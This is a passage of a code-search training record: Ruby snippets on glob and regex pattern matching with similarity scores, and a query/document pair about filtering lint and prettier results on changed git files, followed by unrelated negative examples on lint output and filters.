'[^/]*'\n s.gsub! /\\\\\\[!/, '[^'\n s.gsub! /\\\\\\]/, ']'\n s.gsub! /\\\\\\{/, '('\n s.gsub! /,/, '|'\n s.gsub! /\\\\\\}/, ')'\n Regexp.new s\n end", "def code_regexp\n unless defined?(@code_regexp)\n @code_regexp = nil\n\n if reg_str = vocab_entry.format_regexp\n @code_regexp = Regexp.union(Regexp.new(reg_str, Regexp::IGNORECASE), /\\A\\*\\Z/)\n end\n end\n @code_regexp\n end", "def describe_parameter_extra_regexps(name)\n [\n \"#{name}::\",\n \"+#{name}+::\",\n \"<tt>#{name}</tt>::\"\n ].map do |pattern|\n r = pattern.is_a?(Regexp) ? pattern : Regexp.escape(pattern)\n /#{r}\\n\\ {2,}.+/m\n end\n end", "def glob(pattern)\n root = self.root\n Pathname.glob(root.join(pattern)).map do |match|\n match.relative_path_from(root).to_s\n end\n end", "def pattern; end", "def pattern; end", "def pattern; end", "def pattern_owners\n codeowner_path = search_codeowners_file\n patterns = []\n File.read(codeowner_path).split(\"\\n\").each_with_index { |line, i|\n path_owner = line.split(/\\s+@/, 2)\n if line.match(/^\\s*(?:#.*)?$/)\n patterns.push ['', ''] # Comment/empty line\n elsif path_owner.length != 2 || (path_owner[0].empty? && !path_owner[1].empty?)\n log \"Parse error line #{(i+1).to_s}: \\\"#{line}\\\"\"\n patterns.push ['', ''] # Invalid line\n else\n path_owner[1] = '@'+path_owner[1]\n patterns.push path_owner\n end\n }\n return patterns\n end", "def short_pattern\n /\n (?:^|\\W) # beginning of string or non-word char\n (?:(#{qualifier_regex})(?:\\s))? # qualifier (optional)\n (?:(#{REPOSITORY_NAME})? # repository name (optional)\n \\#|(?:GH\\-))(\\d+) # issue number\n (?=\n \\.+[ \\t]| # dots followed by space or non-word character\n \\.+$| # dots at end of line\n [^0-9a-zA-Z_.]| # non-word character except dot\n $ # end of line\n )\n /ix\n end", "def patterns\n @patterns ||= []\n end", "def patterns_for_file( file )\n Hash(config_file(file)[:patterns]).keys + \\\n Hash(defaults[:patterns]).keys\n end", "def url_pattern\n %r{\n (?:^|\\W) # beginning of string or non-word char\n (?:(#{qualifier_regex})(?:\\s))? # qualifier (optional)\n https://github.com/\n (#{REPOSITORY_NAME}) # repository name\n /(?:issues|pulls)/\n (\\d+) # issue number\n (?=\n \\.+[ \\t]| # dots followed by space or non-word character\n \\.+$| # dots at end of line\n [^0-9a-zA-Z_.]| # non-word character except dot\n $ # end of line\n )\n }ix\n end", "def parse_pattern(pattern)\n return pattern if pattern.is_a?(Regexp)\n\n pattern = pattern.split(/\\//).map do |part|\n if /^:/ =~ part\n \"(?<#{part.sub(\":\", \"\")}>\\\\d+)\"\n else\n part\n end\n end.join(\"/\")\n\n Regexp.new(\"^#{pattern}$\")\n end", "def translate_pattern_to_regexp(pat)\n i = 0\n n = pat.size\n res = ''\n while i < n\n c = pat[i]\n i = i + 1\n if c == '*'\n j = i\n if j < n and pat[j] == '*'\n res[-1] = '(\\/)?(?<double_asterisk>.*)?'\n i = j + 1\n else\n res = res + '.*'\n end\n elsif c == '?'\n res = res + '.'\n elsif c == '['\n j = i\n # The following two statements check if the sequence we stumbled\n # upon is '[]' or '[^]' because those are not valid character\n # classes.\n if j < n and pat[j] == '^'\n j = j + 1\n end\n if j < n and pat[j] == ']'\n j = j + 1\n end\n # Look for the closing ']' right off the bat. If one is not found,\n # escape the opening '[' and continue. If it is found, process\n # he contents of '[...]'.\n while j < n and pat[j] != ']'\n j = j + 1\n end\n if j >= n\n res = res + '\\\\['\n else\n stuff = pat[i...j].gsub('\\\\', '\\\\\\\\')\n i = j + 1\n #if stuff[0] == '!'\n # stuff = '^' + stuff[1..-1]\n #elsif stuff[0] == '^'\n # stuff = '\\\\' + stuff\n #end\n res = \"#{res}[#{stuff}]\"\n end\n else\n res = res + Regexp.escape(c)\n end\n end\n\n return Regexp.new(res + '$')\nend", "def template_name_and_format_glob(name, format, opts)\n \"#{template_name_and_format(name,format,opts)}.*\"\n end", "def fetch_pattern(type, indentation); end", "def tag_pattern\n rgx = Overdrive_Board_Settings::PLAYER_TAG_PATTERN\n Regexp.new('^' + rgx.source + '$', rgx.options)\n end", "def glob_match (filenames, pattern)\n\t# Escape the '*', '?', and '.' characters\n\tpattern.gsub!(/[\\*\\?\\.]/, '*' => '.*', '?' => '.', '.' => '\\.') \t\n\tregex = Regexp.new(pattern)\n\t#select returns a new array\n\tfilenames.select do |filename|\n\t\tfilename =~ regex\n\tend\nend", "def glob(pattern, flags = T.unsafe(nil)); end", "def tag_pattern\n @tag_pattern || 'v%s'\n end", "def expect_pattern(state)\n case state\n when :outer then %r{(?:^\\s*|<)%[~=!_#%]?|<l10n>}\n when /\\Acode_line/ then %r{\\n|\\Z}\n when /\\Acode_(?:span|print|template|visitor|comment)/ then %r{[-%]?%>}\n when :l10n then %r{<\\/l10n>}\n end\n end", "def p(pattern)\n Parslet::Pattern.new(pattern)\n end", "def extract_annotations_from(file, pattern); end", "def get_patterns(pattern_string)\r\n split_and_strip(pattern_string, \";\").select do |name|\r\n name != \"\"\r\n end.map {|name| Regexp.new(name, true)}\r\n end", "def glob_match(filenames, pattern)\n\t\n\tnewPattern = pattern.gsub( '*', '.*').gsub( '?', '.')\n\n\treturn filenames.select{|i| i.match(/#{newPattern}/)}\n\t\nend", "def regex_stop_prefix\n Regexp.new(\"\\\\.line#{VM_PREFIX}\")\nend", "def fnmatch(pattern, *args) File.fnmatch(pattern, path, *args) end", "def file_list(pattern)\n FileList[pattern].tap do |list|\n list.exclude 'vendor/**/*', # bundler\n 'pkg/**/*', # gem build process\n 'spec/fixtures/**/*' # puppetlabs fixtures\n list.reject! { |f| File.directory? f }\n end\n end", "def module_regex(module_name)\n \"github.com\\\\/ministryofjustice\\\\/cloud-platform-terraform-#{module_name}.ref=...\"\nend", "def get_patterns\n patterns = BASE_PATTERNS\n # add the colour keywords. generate these from the colour wheel's constants\n colours = Yay::ColourWheel::all_names.join('|')\n patterns.unshift [:colour, Regexp.new(\"\\\\b(#{colours})\\\\b\", Regexp::IGNORECASE)]\n return patterns\n end", "def regex\n {\n 'java' => /(\\/\\*+([^\\*]|\\*(?!\\/))*(\\*\\/))|(\\/{2}.*)/, # (\\/\\*([\\s\\S]*?)\\*\\/)|(\\/\\/(.*)$)\n 'aspx' => //,\n 'javascript' => //,\n 'js' => //,\n 'ruby' => //,\n 'python' => //,\n 'c' => /((?:\\/\\*(?:[^*]|(?:\\*+[^*\\/]))*\\*+\\/)|(?:\\/\\/.*))/,\n }\nend" ]
[ "0.6581316", "0.6571851", "0.6422006", "0.63691014", "0.6294881", "0.6283125", "0.6200961", "0.61400735", "0.61400735", "0.60605747", "0.60070354", "0.60021055", "0.5992989", "0.5977307", "0.5896867", "0.58847535", "0.5863952", "0.5861991", "0.5838673", "0.579815", "0.57823884", "0.57823884", "0.5757188", "0.5754405", "0.5721011", "0.5721011", "0.57011425", "0.57011425", "0.56573033", "0.5650562", "0.5645465", "0.56429815", "0.5634903", "0.5628576", "0.562702", "0.5594809", "0.5581737", "0.5571146", "0.5568421", "0.5568421", "0.55503535", "0.5539471", "0.55364215", "0.55336595", "0.551308", "0.551308", "0.5498908", "0.5477081", "0.5470261", "0.54581404", "0.5456559", "0.5441637", "0.5440455", "0.54387957", "0.5429952", "0.54192674", "0.53930247", "0.53797716", "0.5352947", "0.5341994", "0.5330137", "0.53212595", "0.5318999", "0.5316085", "0.53056765", "0.530118", "0.52830774", "0.5282718", "0.5272666", "0.52527446", "0.5251672", "0.5250569", "0.5250063", "0.5245343", "0.5245343", "0.5245343", "0.5232672", "0.5217232", "0.52021915", "0.520066", "0.5196625", "0.51959574", "0.5193304", "0.5181799", "0.5178265", "0.5176678", "0.51742166", "0.5169562", "0.5165096", "0.515658", "0.51505655", "0.5141208", "0.5137554", "0.5127329", "0.512458", "0.5122253", "0.5121793", "0.51027554", "0.5083332", "0.50812453" ]
0.6700715
0
Get lint result regards the filtering option return [Hash]
def check_results bin = prettier_path raise "prettier is not installed" unless bin return run_check(bin, ".") unless filtering ((git.modified_files - git.deleted_files) + git.added_files) .select { |f| f[matching_file_regex] } .map { |f| f.gsub("#{Dir.pwd}/", "") } .map { |f| run_check(bin, f) } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def lint\n lint_results\n .reject { |r| r.nil? || r['messages'].length.zero? }\n .reject { |r| r['messages'].first['message'].include? 'matching ignore pattern' }\n .map { |r| send_comment r }\n end", "def lint\n []\n end", "def lint_results\n bin = eslint_path\n raise 'eslint is not installed' unless bin\n return run_lint(bin, '.') unless filtering\n ((git.modified_files - git.deleted_files - git.renamed_files.map { |r| r[:before] }) + git.added_files + git.renamed_files.map { |r| r[:after] })\n .select { |f| target_extensions.include?(File.extname(f)) }\n .map { |f| f.gsub(\"#{Dir.pwd}/\", '') }\n .map { |f| run_lint(bin, f).first }\n end", "def lint\n ret = []\n ret << :cve if self.cve.nil?\n ret << :osvdb if @osvdb.nil?\n ret << :cvss if self.cvss.nil? || self.cvss.empty? || self.cvss == \"not assigned\"\n ret << :severity if self.severity == \"unknown\"\n ret << :priority if self.priority == \"unknown\"\n\n ret\n end", "def filterhash\n @filter_hash\n end", "def filter\n # #YELLOW\n if @event['check']['alert'] == false # rubocop:disable GuardClause\n puts 'alert disabled -- filtered event ' + [@event['client']['name'], @event['check']['name']].join(' : ')\n exit 0\n end\n end", "def lints\n @_configuration.fetch('lints', {})\n end", "def _whitestone_options()\n { :filter => @options.filter, :full_backtrace => @options.full_backtrace }\n end", "def filtered_entries; end", "def filter; end", "def filter; end", "def filter; end", "def filters; end", "def filters; end", "def for_lint(name)\n lints.fetch(name, {})\n end", "def relevant_output(lint, files)\n all_files = {}\n files.each do |file|\n\n # sometimes data will be blank but this is good - it means no errors were raised in the lint\n next if lint.blank? || file.blank? || !file.is_a?(Hash) || !file.key?(:filename)\n lint_file = lint[file[:filename]]\n\n next if lint_file.blank?\n\n expanded = lines_added_to_range(file)\n revert_name = strip_working_dir(file[:filename])\n\n all_files[revert_name] = []\n\n lint_file.each do |l|\n if expanded.include?(l['line'].to_i)\n all_files[revert_name] << l\n end\n end\n\n # If there's nothing there, then it definitely isn't a relevant lint\n all_files.delete(revert_name) if all_files[revert_name].blank?\n end\n @output[:files_linted] = all_files.keys\n all_files\n end", "def analysis\n @analysis || {}\n end", "def filter\n end", "def not_ok_check_results(categories:)\n\n # the region is on purpose - support intfc is global, but can't find endpoint outside of us-east-1\n support = Aws::Support::Client.new region: 'us-east-1'\n\n describe_trusted_advisor_checks_response = support.describe_trusted_advisor_checks language: 'en'\n\n if categories.nil?\n checks = describe_trusted_advisor_checks_response.checks\n else\n checks = describe_trusted_advisor_checks_response.checks.select { |check| categories.include? check.category }\n end\n\n checks.reduce([]) do |aggregate, check|\n describe_trusted_advisor_check_result_response = support.describe_trusted_advisor_check_result check_id: check.id,\n language: 'en'\n\n if describe_trusted_advisor_check_result_response.result.status != 'ok'\n aggregate << convert_check_result_into_hash(check.name,\n describe_trusted_advisor_check_result_response.result)\n end\n\n aggregate\n end\n end", "def filter\n @filter\n end", "def filter_help(output, response)\n filter = response.matches[0][0]\n\n if filter\n output.select { |line| /(?:@?#{name}[:,]?)?#{filter}/i === line }\n else\n output\n end\n end", "def filter_help(output, response)\n filter = response.matches[0][0]\n\n if filter\n output.select { |line| /(?:@?#{name}[:,]?)?#{filter}/i === line }\n else\n output\n end\n end", "def filter\n\t\treturn @filter\n\tend", "def result_filters\n\t\t[\"undefined\",\"nan\",\"null\",\"infinity\",DEFAULT_RESULT,\".\",\"!\"]\n\tend", "def before_filter_to_hash args\n filter = {}\n\n #Process args for the uncommon but possible situation\n #in which some variables are used in the filter.\n args.each do |a|\n if sexp? a\n a = process_default a\n end\n end\n\n filter[:methods] = [args[0][1]]\n\n args[1..-1].each do |a|\n filter[:methods] << a[1] if a.node_type == :lit\n end\n\n if args[-1].node_type == :hash\n option = args[-1][1][1]\n value = args[-1][2]\n case value.node_type\n when :array\n filter[option] = value[1..-1].map {|v| v[1] }\n when :lit, :str\n filter[option] = value[1]\n else\n Brakeman.debug \"[Notice] Unknown before_filter value: #{option} => #{value}\"\n end\n else\n filter[:all] = true\n end\n\n filter\n end", "def filter_args(filter)\n {\n list_position: filter.list_position.en.ordinate,\n real_size: filter.real_size.en.numwords,\n requested_size: filter.requested_size.en.numwords,\n filtered_size: filter.filtered_size.en.numwords,\n list_order: filter.list_order,\n filtered_position_offset: (filter.list_position + filter.filtered_size - 1).en.ordinate\n }\n end", "def entry_filter; end", "def global_filter; end", "def filtered_warnings\n @tracker.filtered_warnings\n end", "def filters\n end", "def filter\n\tfilter_disabled\n\tfilter_repeated\n\tfilter_silenced\n\tfilter_dependencies\n end", "def filter\n do_authorize_class\n get_project_if_exists\n do_authorize_instance(:show, @project) unless @project.nil?\n\n filter_response, opts = Settings.api_response.response_advanced(\n api_filter_params,\n list_permissions,\n Site,\n Site.filter_settings\n )\n respond_filter(filter_response, opts)\n end", "def filter_result(json_response)\n result = JSON[json_response] rescue []\n result = [result] unless result.is_a? Array\n key_order = result.first.keys if result.first\n result = flatten_functional_fields(result) if formatter.instance_of?(Unipept::CSVFormatter)\n result.map! { |r| r.select! { |k, _v| selected_fields.any? { |f| f.match k } } } unless selected_fields.empty?\n result = inflate_functional_fields(result, key_order) if formatter.instance_of?(Unipept::CSVFormatter) && result.first\n result\n end", "def apply_warnings\n apply_problems_get(data).select do |problem|\n (sTring(problem.Severity) =~ %r{(Критичная|Critical)}).nil?\n end\n end", "def validate_and_sanitize\n r = validate\n return r unless r.success?\n\n r = fetch_and_validate_client\n return r unless r.success?\n\n r = fetch_and_validate_admin\n return r unless r.success?\n\n error_codes = []\n\n if @sortings.present?\n @sortings.each do |sort_key, sort_value|\n next if sort_value.blank? || GlobalConstant::User.sorting[sort_key].blank?\n allowed_sort_values = GlobalConstant::User.sorting[sort_key].keys\n if allowed_sort_values.include?(sort_value)\n @allowed_sortings[sort_key] = sort_value\n else\n error_codes << 'invalid_sortings'\n break\n end\n end\n end\n\n @sortings = @allowed_sortings.present? ? @allowed_sortings : GlobalConstant::User.default_sorting\n\n @filters = {} if @filters.blank?\n\n if Util::CommonValidateAndSanitize.is_hash?(@filters)\n\n @filters.each do |filter_key, filter_val|\n next if filter_val.blank?\n\n if GlobalConstant::User.allowed_filter.include?(filter_key)\n allowed_filter_val = []\n\n if filter_key == GlobalConstant::User.email_filter\n allowed_filter_val = [filter_val]\n else\n allowed_filter_val = GlobalConstant::User.filters[filter_key].keys\n end\n\n if allowed_filter_val.include?(filter_val)\n @allowed_filters[filter_key] = filter_val.to_s\n else\n error_codes << 'invalid_filters'\n end\n\n end\n end\n\n else\n error_codes << 'invalid_filters'\n end\n\n error_codes.uniq!\n\n return error_with_identifier('invalid_api_params',\n 'um_u_l_vasp_1',\n error_codes\n ) if error_codes.present?\n\n\n success\n\n end", "def postFetchFilter\n @filtered= Filter.new(@detail.waypoints)\n\n # caches with warnings we choose not to include.\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['includeArchived']\n @appliedFilters['--includeArchived'] = { 'f' => \"\", 't' => \"also archived\" }\n else\n # this would cause too much noise, don't advertise\n #@appliedFilters['--excludeArchived'] = { 'f' => \"\", 't' => \"not archived\" }\n @filtered.removeByElement('archived')\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Archived\")\n #\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['includeDisabled']\n @appliedFilters['-z'] = { 'f' => \"\", 't' => \"also disabled\" }\n else\n @appliedFilters['+z'] = { 'f' => \"\", 't' => \"not disabled\" }\n @filtered.removeByElement('disabled')\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Disabled\")\n\n # exclude Premium Member Only caches on request\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['noPMO']\n @appliedFilters['-O'] = { 'f' => \"\", 't' => \"no PMO\" }\n @filtered.removeByElement('membersonly')\n end\n if @option['onlyPMO']\n @appliedFilters['-Q'] = { 'f' => \"\", 't' => \"PMO\" }\n @filtered.removeByElement('membersonly', false)\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"PM-Only\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['descKeyword']\n @appliedFilters['-K'] = { 'f' => \"#{@option['descKeyword']}\", 't' => \"matching descr. keyword\" }\n @filtered.descKeyword(@option['descKeyword'])\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Keyword\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['difficultyMin']\n @appliedFilters['-d'] = { 'f' => \"#{@option['difficultyMin']}\", 't' => \"difficulty min\" }\n @filtered.difficultyMin(@option['difficultyMin'].to_f)\n end\n if @option['difficultyMax']\n @appliedFilters['-D'] = { 'f' => \"#{@option['difficultyMax']}\", 't' => \"difficulty max\" }\n @filtered.difficultyMax(@option['difficultyMax'].to_f)\n end\n if @option['terrainMin']\n @appliedFilters['-t'] = { 'f' => \"#{@option['terrainMin']}\", 't' => \"terrain min\" }\n @filtered.terrainMin(@option['terrainMin'].to_f)\n end\n if @option['terrainMax']\n @appliedFilters['-T'] = { 'f' => \"#{@option['terrainMax']}\", 't' => \"terrain max\" }\n @filtered.terrainMax(@option['terrainMax'].to_f)\n end\n if @option['sizeMin']\n @appliedFilters['-s'] = { 'f' => \"#{@option['sizeMin']}\", 't' => \"size min\" }\n @filtered.sizeMin(@option['sizeMin'])\n end\n if @option['sizeMax']\n @appliedFilters['-S'] = { 'f' => \"#{@option['sizeMax']}\", 't' => \"size max\" }\n @filtered.sizeMax(@option['sizeMax'])\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"D/T/Size\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['favFactorMin']\n @appliedFilters['-g'] = { 'f' => \"#{@option['favFactorMin']}\", 't' => \"favFactor min\" }\n @filtered.favFactorMin(@option['favFactorMin'].to_f)\n end\n if @option['favFactorMax']\n @appliedFilters['-G'] = { 'f' => \"#{@option['favFactorMax']}\", 't' => \"favFactor max\" }\n @filtered.favFactorMax(@option['favFactorMax'].to_f)\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"FavFactor\")\n\n # We filter for users again. While this may be a bit obsessive, this is in case\n # our local cache is not valid.\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['userExclude']\n @appliedFilters['-E'] = { 'f' => \"#{@option['userExclude']}\", 't' => \"not done by\" }\n @option['userExclude'].split($delimiters).each{ |user|\n @filtered.userExclude(user)\n }\n end\n if @option['userInclude']\n @appliedFilters['-e'] = { 'f' => \"#{@option['userInclude']}\", 't' => \"done by\" }\n @option['userInclude'].split($delimiters).each{ |user|\n @filtered.userInclude(user)\n }\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"User\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['attributeExclude']\n @appliedFilters['-A'] = { 'f' => \"#{@option['attributeExclude']}\", 't' => \"attr no\" }\n @option['attributeExclude'].split($delimiters).each{ |attribute|\n @filtered.attributeExclude(attribute)\n }\n end\n if @option['attributeInclude']\n @appliedFilters['-a'] = { 'f' => \"#{@option['attributeExclude']}\", 't' => \"attr yes\" }\n @option['attributeInclude'].split($delimiters).each{ |attribute|\n @filtered.attributeInclude(attribute)\n }\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Attribute\")\n\n beforeFilterTotal = @filtered.totalWaypoints\n if @option['minLongitude']\n @appliedFilters['--minLon'] = { 'f' => \"#{@option['minLongitude']}\", 't' => \"West\" }\n @filtered.longMin(@option['minLongitude'])\n end\n if @option['maxLongitude']\n @appliedFilters['--maxLon'] = { 'f' => \"#{@option['maxLongitude']}\", 't' => \"East\" }\n @filtered.longMax(@option['maxLongitude'])\n end\n if @option['minLatitude']\n @appliedFilters['--minLat'] = { 'f' => \"#{@option['minLatitude']}\", 't' => \"South\" }\n @filtered.latMin(@option['minLatitude'])\n end\n if @option['maxLatitude']\n @appliedFilters['--maxLat'] = { 'f' => \"#{@option['maxLatitude']}\", 't' => \"North\" }\n @filtered.latMax(@option['maxLatitude'])\n end\n excludedFilterTotal = beforeFilterTotal - @filtered.totalWaypoints\n showRemoved(excludedFilterTotal, \"Lat/Lon\")\n\n displayMessage \"Post-fetch filter complete, #{caches(@filtered.totalWaypoints)} left.\"\n return @filtered.totalWaypoints\n end", "def filters\n @filters ||= {}\n end", "def data_check(query)\n\n checked_data = {}\n\n checked_data[:tags] = tags_check(query['tags']) \n checked_data[:categories_id] = \\\n category_id_check(query['categories_id']) \n checked_data[:currentPage] = current_page_check(query['currentPage']) \n\n return checked_data\n\n end", "def list_filters\n {\n track_end_date: 'TrkEndDate gt VALUE',\n track_first_submitted: 'TrkFirstSubmitted gt VALUE',\n app_no: 'AppNo eq VALUE',\n first_name: 'AppFirstName eq VALUE',\n last_name: 'AppLastName eq VALUE',\n email: 'AppEmailAddress eq VALUE'\n }\n end", "def check_result_params\n request_para = params[:check_result].nil? ? params : params[:check_result]\n request_para.select{|key,value| key.in?(CheckResult.column_names())}.symbolize_keys\n end", "def filter!; end", "def entries\n @filter\n end", "def get_filter_result params_hsh\n default_filter_result = {\n environment: ['chef_environment'],\n fqdn: ['fqdn'],\n ip: ['ipaddress'],\n run_list: ['run_list'],\n roles: ['roles'],\n platform: ['platform'],\n tags: ['tags'],\n }\n # always default name to name, it can still be overriden by specifying ?name=some,attr,path\n filter_result = {name: ['name']}\n # the only keys left in params_hsh should be for filter_result\n if params_hsh.empty?\n # if no GET params were given for filter_result to be generated, use the default\n filter_result = filter_result.merge default_filter_result\n else\n # if some GET params were given for filter_result, use them instead\n params_hsh.each do |k, v|\n if v.nil?\n # attribute path not specified, assume key is attribute path\n filter_result[k] = [k]\n else\n # attribute path specified\n filter_result[k] = v.split(',')\n end\n end\n end\n filter_result\n end", "def filter_parameters; end", "def filter_parameters; end", "def where(&condition)\n map do |result|\n # if condition.call(*result)\n if PropCheck::Helper.call_splatted(result, &condition)\n result\n else\n :\"_PropCheck.filter_me\"\n end\n end\n end", "def filter_argument; end", "def to_filter\n to_hash.to_filter\n end", "def filter\n RuleAspect.from_hash(description['Filter'])\n end", "def filter(filter)\n results = Config::ObjectList.new\n filter.each do |field, match_value|\n field = field.is_a?(Symbol) ? field.to_s : field\n match_value = match_value.is_a?(Symbol) ? match_value.to_s : match_value\n if match_value.is_a?(String) && match_value =~ /^!/\n operator = :not_equal\n match_value = match_value.sub(/^!/, '')\n else\n operator = :equal\n end\n each do |name, config|\n value = config[field]\n if value.is_a? Array\n if operator == :equal && value.include?(match_value)\n results[name] = config\n elsif operator == :not_equal && !value.include?(match_value)\n results[name] = config\n end\n else\n if operator == :equal && value == match_value\n results[name] = config\n elsif operator == :not_equal && value != match_value\n results[name] = config\n end\n end\n end\n end\n results\n end", "def basic_check_list(filter, tag_name)\n check_filter_by_class(filter)\n click_filter(filter)\n li_arr = get_results_as_array\n check_number_of_results(li_arr)\n check_result_has_headline(li_arr)\n check_result_has_summary(li_arr)\n check_show_more_result_btn\n check_result_has_img(li_arr)\n collect_Business_tag(li_arr)\n if tag_name != 'All'\n check_result_datasite(li_arr, tag_name)\n end\n check_result_has_date(li_arr)\n end", "def print_offenses(res)\n unless res[:C].empty?\n @options[:jenkins] ?\n puts('# Issues with convention:') :\n puts('# Issues with convention:'.red)\n res[:C].each do |item|\n puts \" - #{item}\"\n end\n end\n unless res[:E].empty?\n @options[:jenkins] ?\n puts('# Errors:') :\n puts('# Errors:'.red)\n res[:E].each do |item|\n puts \" - #{item}\"\n end\n end\n unless res[:F].empty?\n @options[:jenkins] ?\n puts('# Fatal errors:') :\n puts('# Fatal errors:'.red)\n res[:F].each do |item|\n puts \" - #{item}\"\n end\n end\n unless res[:W].empty?\n @options[:jenkins] ?\n puts('# Warnings:') :\n puts('# Warnings:'.red)\n res[:W].each do |item|\n puts \" - #{item}\"\n end\n end\n end", "def filtered_checklist(user)\n\n sections = self.checklist.sections\n \n if self.design.date_code?\n sections.delete_if { |sec| !sec.date_code_check? }\n sections.each do |section|\n section.subsections.delete_if { |subsec| !subsec.date_code_check? }\n end\n elsif self.design.dot_rev?\n sections.delete_if { |sec| !sec.dot_rev_check? }\n sections.each do |section|\n section.subsections.delete_if { |subsec| !subsec.dot_rev_check? }\n end\n end\n \n if self.is_peer_audit? && self.is_peer_auditor?(user)\n sections.delete_if { |sec| sec.designer_auditor_check_count == 0 }\n sections.each do |section|\n section.subsections.delete_if { |subsec| subsec.designer_auditor_check_count == 0 }\n end\n end\n \n end", "def results_hash\n hash = {:updated => [],\n :merged => [],\n :removed => [],\n :unresolved => []}\n\n class << hash\n def success?; self[:unresolved].empty?; end\n end\n hash\n end", "def filter_text\n attributes.fetch(:filterText)\n end", "def filtered_env; end", "def build_results\n # Which files can we ignore?\n @files_to_ignore = Set.new\n @diffs.each do |diff|\n next unless diff.change? && diff.type == 'File' && diff.structure == %w(parameters ensure)\n next unless ['absent', 'false', false].include?(diff.new_value)\n @files_to_ignore.add diff.title\n end\n\n # Based on that, which diffs can we ignore?\n @results = Set.new @diffs.reject { |diff| keep_diff?(diff) }\n end", "def usage_filters\n get('/1/reporting/filters').to_a\n end", "def results\n @results ||= { ok: [], warning: [], critical: [], unknown: [] }\n end", "def filters\n @filters ||= {}\n end", "def filters\n @filters ||= {}\n end", "def filters\n respond_to do |format|\n format.html{ redirect_to root_path }\n format.json{\n list = [\n {\n :display => 'This source does not define any filter',\n :value => 'invalid'\n }\n ]\n filters_module = (RUBY_VERSION < '1.9') ? 'Filters' : :Filters\n if (@source.constants.include?(filters_module))\n list.clear\n @source::Filters.constants.each do |filter_name|\n filter = \"#{@source.name}::Filters::#{filter_name}\".constantize \n list << { \n :display => \"#{filter_name}: #{filter::NAME}\", \n :value => filter_name \n }\n end\n end\n \n render :json => list\n }\n end\n end", "def get_reek_feature \n hash = JSON.parse(IO.read(@feature_dir + \"/reek.json\"))\n smells = @all_smells - @filter_smells\n reek_feature = Array.new(@indexes.length) { Array.new(smells.length, 0)}\n \n @indexes.each_with_index do |index, i|\n smells.each_with_index do |smell, j|\n break unless hash[index.to_s + \".rb\"] # some submission has no warning\n if hash[index.to_s + \".rb\"][smell]\n reek_feature[i][j] = hash[index.to_s + \".rb\"][smell]\n end\n end \n end\n\n return reek_feature \n end", "def inspect\n inspected = super\n\n if NgpVan.configuration.api_key\n filter_value!(inspected, NgpVan.configuration.api_key)\n end\n\n if NgpVan.configuration.application_name\n filter_value!(inspected, NgpVan.configuration.application_name)\n end\n\n inspected\n end", "def scan_filter(config)\n hash = {}\n hash['created_at'] = oldest_date(config.max_age) if config.max_age\n hash['updated_at'] = oldest_date(config.max_stale) if config.max_stale\n { :scan_filter => hash }\n end", "def filters=(_arg0); end", "def filters=(_arg0); end", "def print_result(result)\n if !@default_filter.nil?\n puts @default_filter.call(result)\n elsif result.respond_to?(:to_hash)\n result_output = []\n\n result.to_hash.keys.sort.reject{|e| @display_exclusions.include?(e)}.each do |key|\n val = result[key]\n \n output = val.nil? ? \n 'N/A' : \n @output_filters.key?(key) ? @output_filters[key].call(val) : val\n \n result_output << output\n end\n\n puts result_output.join(@output_delimiter || ' | ')\n elsif result.respond_to?(:to_a)\n puts result.to_a.join(', ')\n else\n puts result\n end\n end", "def report_filter_options\n @@report_filter_options ||= [\n filter_config(kind: 'date_filter', param: 'created_at', in_required_date_group: true),\n filter_config(kind: 'object_filter', param: 'user_id', collection: :users, label: 'user'),\n filter_config(kind: 'string_filter', param: 'user_email')\n ]\n end", "def find_violations\n find_candidates.select { |it| it.depth > max_allowed_nesting }\n end", "def filter_defaults\n {}\n end", "def strict_filters; end", "def allowed_filters\n []\n end", "def restrict_results\n\t\t\t\t# 10 = residential, 20 = sales, 30 = commercial\n\t\t\t\t# default to residential\n\t\t\t\t@listing_type = %w[10 20 30].include?(listing_params[:listing_type]) ? listing_params[:listing_type] : \"\".freeze\n\t\t\t\t# 10 - studio, 20 - 1 BR, 30 - 2 BR, 40 - 3 BR, 50 - 4+ BR, 80 - LOFT\n\t\t\t\tlayout = %w[10 20 30 40 50 80].include?(listing_params[:layout]) ? listing_params[:layout] : \"\".freeze\n\t\t\t\t# 10 - 1 B, 15 - 1.5 B, 20 - 2 B, 25 - 2.5 B, 30 - 3 B, 35 - 3.5+ B\n\t\t\t\tbathrooms = %w[10 15 20 25 30 35].include?(listing_params[:bathrooms]) ? listing_params[:bathrooms] : \"\".freeze\n\t\t\t\t# cats allowed\n\t\t\t\tcats_allowed = _is_valid_bool_value(listing_params[:cats_allowed])\n\t\t\t\t# dogs allowed\n\t\t\t\tdogs_allowed = _is_valid_bool_value(listing_params[:dogs_allowed])\n\t\t\t\t# elevator\n\t\t\t\televator = _is_valid_bool_value(listing_params[:elevator])\n\t\t\t\t# doorman\n\t\t\t\tdoorman = _is_valid_bool_value(listing_params[:doorman])\n\t\t\t\t# laundry in building\n\t\t\t\tlaundry_in_building = _is_valid_bool_value(listing_params[:laundry_in_building])\n\t\t\t\t# laundry in unit\n\t\t\t\tlaundry_in_unit = _is_valid_bool_value(listing_params[:laundry_in_unit])\n\t\t\t\t# has_photos\n\t\t\t\thas_photos = 